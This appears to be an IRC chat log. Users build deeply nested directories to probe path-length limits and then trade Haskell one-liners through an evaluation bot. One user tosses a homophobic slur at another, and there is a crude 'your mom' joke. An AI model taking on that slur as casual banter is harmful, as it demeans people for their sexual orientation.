01:49:58 <GregorR> /a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a
01:50:03 <GregorR> /a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a
01:50:08 <GregorR> /a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a
01:50:36 <ehird> [ehird:~/Junk/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/
01:50:38 <ehird> a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/
01:50:41 <pikhq> I'm not even all that far in, but this is damned cool. :)
01:50:43 <ehird> a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/
01:50:48 <ehird> a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/
01:50:53 <ehird> a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a] %
01:50:55 <GregorR> I thought there was a maximum path length limit :P
01:51:30 <ehird> mkdir: cannot create directory `a': File exists
01:51:40 <pikhq> GregorR: 2.6 eliminated it.
01:51:51 <pikhq> The maximum path length is 'how much memory can be allocated'.
01:52:09 <ehird> mine is going slowly
01:52:11 <ehird> i wonder if i can...
01:52:25 * pikhq just got to list comprehensions
01:52:46 <ehird> pikhq: just wait for the culture shock :)
01:53:12 <pikhq> This is just "OMFG. Sweet." so far.
01:53:13 <GregorR> Argh, I tried to stop it at exactly 2000
01:54:01 * ehird types cd a/ and holds down tab.
01:54:04 <ehird> it gets progressively slower XD
01:54:05 <GregorR> 0.00user 0.04system 0:00.05elapsed 96PU (0avgtext+0avgdata 0maxresident)k
01:54:05 <GregorR> 0inputs+0outputs (0major+252minor)pagefaults 0swaps
01:54:22 <GregorR> It seems to actually be gone D-8
01:54:37 <GregorR> I guess the filesystem does all its GC in the background.
01:54:55 <ehird> Your filesystem, remember, is insanely optimized :P
01:55:18 <GregorR> Whereas yours was intended for m68k-based systems that used "\r" for newlines? :P
01:55:29 <Asztal> P:\BadDir\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a>cd a\a\a\a\a\a\a\a\a\a\a\a\a\a\
01:55:31 <Asztal> The name of the file cannot be resolved by the system.
01:55:46 <ehird> GregorR: Yes, because OS X totally uses the OS Classic codebase :P
01:55:56 <ehird> Asztal: WINDOWS FAG
01:56:29 <GregorR> ehird: "Filesystem" is an ambiguous term, I was using it to refer to the definition of the data format, not the driver.
01:56:34 <pikhq> GregorR: ext3 is reference counted. ;)
01:56:58 <GregorR> I count one reference to it RIGHT NOW
01:56:58 <pikhq> Also, HFS+ has little to do with OS Classic.
01:56:59 * ehird listens to his disk spin.
01:57:33 <pikhq> Oh, it was first used for OS 8.1. Never mind.
01:57:48 <pikhq> Nothing to do with m68k, though. ;)
01:58:03 <GregorR> Well, it's based on HFS (at least in spirit) *shrugs*
01:58:05 <ehird> HFS+ rocks, anyway.
01:58:19 <GregorR> So does your MOM. ... in bed?
01:59:07 <ehird> ^C% [ehird:~/Junk/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/
01:59:11 <ehird> a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/
01:59:16 <ehird> a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/
01:59:21 <ehird> a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/
01:59:26 <ehird> a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/
01:59:31 <ehird> a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/
01:59:36 <ehird> a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/
01:59:41 <ehird> a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a] %
01:59:47 <ehird> [ehird:~/Junk] % time rm -rf a
01:59:49 <ehird> rm -rf a 0.07s user 0.35s system 83% cpu 0.507 total
02:04:35 <ehird> bsmntbombgirl: what
02:04:48 -!- CESSMASTER has joined.
02:06:11 <Gracenotes> what comes after dichotomy and trichotomy?
02:06:46 * oerjan wondered about that yesterday
02:07:15 <oerjan> darn net is molasses again
02:07:38 <Gracenotes> I always confuse the ordinal prefixes. for four, there's both tetra and quad
02:07:57 <Gracenotes> then there's twice, thrice, and quarce
02:08:00 <oerjan> tetra is greek, like di
02:08:12 <Gracenotes> and what's quad and everything in its sequence?
02:08:53 <Gracenotes> once, twice, thrice, quarce, quince, sense, septence, octence, novence...
02:10:06 <oerjan> undecim, duodecim, tredecim
02:10:23 <Gracenotes> but that's not of the same ordinal forms twice/thrice are :)
02:10:47 <Gracenotes> hm. http://en.wiktionary.org/wiki/Wiktionary_talk:List_of_protologisms#More_number_words
02:10:56 <oerjan> true, but those were weirdly germanic/romance mixes?
02:15:06 * oerjan wonders who in the neighborhood is downloading HD movies
02:20:56 <Gracenotes> hm. time to shred a 500-MB directory with 150-something files, just for the fun of it
02:24:00 -!- GreaseMonkey has joined.
02:24:28 <oerjan> at least spider solitaire is not slow...
02:26:39 <Arrogant> alright, successful installation of a 500gb seagate hard drive into my macbook pro
02:31:27 <pikhq> Okay, so far I have gone from "that's kinda cool" to "Haskell is the manifestation of all that is good".
02:31:37 <pikhq> Brain breaking should set in soon, I think.
02:32:55 <Asztal> if it doesn't, http://hackage.haskell.org/cgi-bin/hackage-scripts/package/category-extras might help
02:35:12 <oerjan> edwardk sometimes used to come here, iirc
02:36:04 <oerjan> his languages were a little more advanced than the usual discussion ;)
02:50:18 * pikhq almost has a Haskell interpreter.
02:53:52 <pikhq> GHC takes a while to build.
02:54:01 <fungot> ^<lang> <code>; ^def <command> <lang> <code>; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool
02:55:32 <oerjan> GregorR gave up adding ghc to EgoBot
02:56:04 <oerjan> lambdabot is where you want to go for that
02:56:22 <GregorR> I couldn't figure out how to make it just run code and give the effing output, no header, no prompt, just output.
02:56:49 <oerjan> GregorR: (1) runhaskell (2) ghc -e
02:57:21 <oerjan> i think it's a script, anyway it comes with ghc
02:58:01 <oerjan> runhaskell takes a whole Main module, ghc -e takes an expression
02:58:04 <GregorR> Oh right, but that requires you have a main function. You can't just give it arbitrary code. I'd like to have it work either way, ideally.
02:58:39 <pikhq> Say, is there a haskell-mode?
02:59:19 <oerjan> i hear haskell is a bit hard on automatic indentation though
02:59:35 <oerjan> iirc you sometimes have to cycle between alternatives
03:00:55 * GregorR has never had any issues with vim's automatic indentation WRT Haskell.
03:02:02 * oerjan has never tried to set vim to do anything more clever than the default for haskell (same indentation as previous line, except automatic comment continuation afaict)
03:03:13 <GregorR> !haskell putStr "Hello, world!\n"
03:03:20 <GregorR> !haskell main = putStr "Hello, world!\n"
03:03:22 <EgoBot> Warning: ignoring unrecognised input `/tmp/input.9739'
03:03:25 <oerjan> but i understand it trips up emacs users who are used to return always ending in the right spot
03:03:47 <GregorR> Is the input unrecognized because it doesn't have a fekking .hs or what?
03:03:51 <oerjan> GregorR: i think you need a flag for it to recognize anything not ending with .hs .lhs
03:11:51 <oerjan> "Causes all files following this option on the command line to be processed as if they had the suffix suffix. For example, to compile a Haskell module in the file M.my-hs, use ghc -c -x hs M.my-hs.
03:12:22 <GregorR> !haskell main = putStr "Hello, world!\n"
03:12:55 <GregorR> <EgoBot> Failed to load interface for `Main':
03:12:55 <GregorR> <EgoBot> Use -v to see a list of the files searched for.
03:13:56 <oerjan> what's the actual command line?
03:14:33 <GregorR> runhaskell -- -x hs -- /tmp/input.$$
03:14:43 <oerjan> that option is under "batch compilation", maybe it only applies to that
03:15:31 <oerjan> !haskell module Main where { main = putStr "Hello, world!\n" }
03:15:51 <GregorR> !haskell main = putStr "Hello, world!\n"
03:16:07 <GregorR> (I forced it to rename the file. Bloody annoying :P
03:17:02 <GregorR> It was easier than calling ghc and then running the resultant binary manually, although that also worked.
03:19:12 <oerjan> !haskell product [1..100]
03:19:14 <EgoBot> 93326215443944152681699238856266700490715968264381621468592963895217599993229915608941463976156518286253697920827223758251185210916864000000000000000000000000
03:19:37 <EgoBot> 788657867364790503552363213932185062295135977687173263294742533244359449963403342920304284011984623904177212138919638830257642790242637105061926624952829931113462857270763317237396988943922445621451664240254033291864131227428294853277524242407573903240321257405579568660226031904170324062351700858796178922222789623703897374720000000000000000000000000000000000000000000000000
03:19:43 <GregorR> !haskell product [1..1000]
03:19:58 <GregorR> Strugglin' a bout now, aren't ye Haskell! :P
03:21:03 <oerjan> !haskell length . show $ product [1..1000]
03:21:04 <EgoBot> 40238726007709377354370243392300398571937486421071463254379991042993851239862902059204420848696940480047998861019719605863166687299480855890132382966994459099742450408707375991882362772718873251977950595099527612087497546249704360141827809464649629105639388743788648733711918104582578364784997701247663288983595573543251318532395846307555740911426241747434934755342864657661166779739666882029120737914385371958824980812686783837455973174613608537953452422
03:21:28 * oerjan finds that unlikely to be his answer
03:22:00 <Asztal> strange how it would take so long, it finishes in 0.05s here
03:22:43 <GregorR> It has to set up the secure execution environment *shrugs*
03:22:44 <oerjan> well that was definitely mine
03:24:48 <pikhq> Is it normal for "Compiling Main" to take forever in ghci?
03:24:58 <pikhq> Or have I done something really screwy?
03:25:34 * oerjan doesn't actually know, still uses winhugs
03:25:48 <GregorR> Hahaha, a last bastion of HUGS :P
03:26:14 * pikhq suspects that mergesort was not necessarily the best choice of 'First Haskell program'. :P
03:26:17 <GregorR> (The original author of hugs endorses GHC in his Haskell class. True story, I was there, lawl :P )
03:26:38 <oerjan> whtspc also used it when i made the ferNANDo interpreter for him
03:27:01 <GregorR> What I meant was that winhugs is a last bastion of hugs.
03:27:01 <oerjan> builtin sort in ghc is mergesort, actually
03:27:37 <pikhq> Yes, but that's beside the point.
03:27:43 <oerjan> !haskell sort [-5, -4 .. 10]
03:27:49 <pikhq> ... This has been taking *quite* some time.
03:28:10 <GregorR> Well that certainly ought to have produced a result :P
03:28:19 <pikhq> [1 of 1] Compiling Main ( merge.hs, interpreted )
03:28:51 <oerjan> i expected a possible missing import, but not parse error...
03:29:02 <pikhq> If this were right, I would have implemented merge sort in 7 lines.
03:29:23 <pikhq> Which is, of course, purdy.
03:29:27 <oerjan> hm it worked fine in winhugs
03:30:04 <EgoBot> [-5,-4,-3,-2,-1,0,1,2,3,4,5,6,7,8,9,10]
03:30:12 * pikhq suspects it's his merge algorithm that's giving troubles
03:30:39 <oerjan> !haskell [10, 9 .. -5]
03:30:40 <EgoBot> [10,9,8,7,6,5,4,3,2,1,0,-1,-2,-3,-4,-5]
03:30:49 <oerjan> !haskell sort [10, 9 .. -5]
03:31:24 <oerjan> !haskell length [10, 9 .. -5]
03:32:18 <oerjan> GregorR: i think when the expression gives an error, it tries the file, and then that gives a parse error
03:32:36 <GregorR> It does in fact do that, yes.
03:32:53 <GregorR> I didn't want to make it intelligently guess whether it's an expression or a full file.
03:33:16 <oerjan> !haskell import Data.List; main = print $ sort [10, 9 .. -5]
03:33:19 <EgoBot> [-5,-4,-3,-2,-1,0,1,2,3,4,5,6,7,8,9,10]
03:34:01 <oerjan> !haskell main = print $ sort [10, 9 .. -5]
03:34:26 <oerjan> so it was the import error that was the actual cause
03:34:57 <pikhq> Note to self: infinite recursion is bad, mmkay?
03:35:48 <GregorR> Especially in a language in which tail recursion is rewritten as iteration, and so it'll never fail with a stack overflow or similar :P
03:35:49 <pikhq> For a merge algorithm operating on finite lists.
03:36:01 <oerjan> !haskell let l = 1:l in l
03:36:16 <GregorR> !haskell let 1 + 1 = 3 in 1 + 1
03:36:41 <Asztal> one might say that's corecursion
03:36:49 <oerjan> i guess that might not print anything because there is no newline
03:36:59 <GregorR> oerjan: It should give output with or without a newline.
03:37:09 <GregorR> !haskell putStr "Where's mah newline?"
03:37:18 <GregorR> .......... orrrrrr ... not?
03:37:33 <GregorR> Oh, in that case it won't, because it'll get killed with everything on the buffer.
03:38:08 <oerjan> !haskell take 1000 $ let l = 1:l in l
03:38:09 <EgoBot> [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
03:38:33 <Asztal> !haskell take 1000 $ fix error
03:38:47 <oerjan> i don't think fix is imported
03:39:04 <Asztal> !haskell import Control.Monad.Fix; main = print . take 1000 $ fix error
03:39:47 <oerjan> not immensely promising, that
03:39:49 <Asztal> oh, it wouldn't work anyway, because fix error doesn't actually yield a value
03:40:52 <oerjan> !haskell take 100 $ let fib = 1:1:zipWith (+) fib (tail fib) in fib
03:40:53 <EgoBot> [1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765,10946,17711,28657,46368,75025,121393,196418,317811,514229,832040,1346269,2178309,3524578,5702887,9227465,14930352,24157817,39088169,63245986,102334155,165580141,267914296,433494437,701408733,1134903170,1836311903,2971215073,4807526976,7778742049,12586269025,20365011074,32951280099,53316291173,86267571272,139583862445,225851433717,365435296162,591286729879,956722026041,1548008755920,25
03:41:40 <GregorR> !haskell take 100 $ the cookie jar
03:41:49 <oerjan> !haskell import Control.Monad.Fix; main = print . take 1000 $ fix show
03:41:53 <EgoBot> "\"\\\"\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
03:42:16 <GregorR> One-line Haskell is a force to be reckoned with :P
03:43:54 <oerjan> !haskell main = putStr s; print s where s = "main = putStr s; print s where s = "
03:44:25 <oerjan> !haskell main = putStr s >> print s where s = "main = putStr s >> print s where s = "
03:44:27 <EgoBot> main = putStr s >> print s where s = "main = putStr s >> print s where s = "
03:45:58 -!- Arrogant has quit ("Leaving").
03:48:40 * pikhq should not be having trouble getting half the length of a list. /me really shouldn't.
03:51:58 <GregorR> !haskell hl l = hl_p l + 1; hl_p l = hl l; main = print . hl [1, 2, 3, 4]
03:52:26 * pikhq figured that bit out
03:53:45 * oerjan suspect it was an Int vs. / problem
03:54:12 <GregorR> !haskell hl h:t = hl_p t + 1; hl_p h:t = hl t; main = print $ hl [1, 2, 3, 4]
03:54:27 <GregorR> Bleh, it's been too long since I've done Haskell X-D
03:55:37 <GregorR> !haskell hl (h:t) = hl_p t + 1; hl [] = 0; hl_p (h:t) = hl t; hl_p [] = 0; main = print $ hl [1, 2, 3, 4]
03:55:47 <GregorR> !haskell hl (h:t) = hl_p t + 1; hl [] = 0; hl_p (h:t) = hl t; hl_p [] = 0; main = print $ hl [1..1000]
03:57:36 <oerjan> !haskell foldr id 0 . zipWith (cycle [(+1), id]) $ [1..1000]
03:59:12 <oerjan> !haskell foldr id 0 . zipWith const (cycle [(+1), id]) $ [1..1000]
04:00:54 <oerjan> !haskell main = putStr . take 500 $ "BW" ++ cycle "AH"
04:00:57 <EgoBot> BWAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHA
04:07:19 * pikhq notes that Haskell is hard.
04:09:35 <oerjan> WARNING: BRAIN EXPLOSION IMMINENT
04:11:07 <oerjan> !haskell import Control.Monad; main = print . liftM product . replicateM 10 $ [-1,1]
04:12:37 <Warrigal> !haskell main = putStr s >> print s where s = "03:12 < Warrigal> !haskell main = putStr s >> print s where s = "
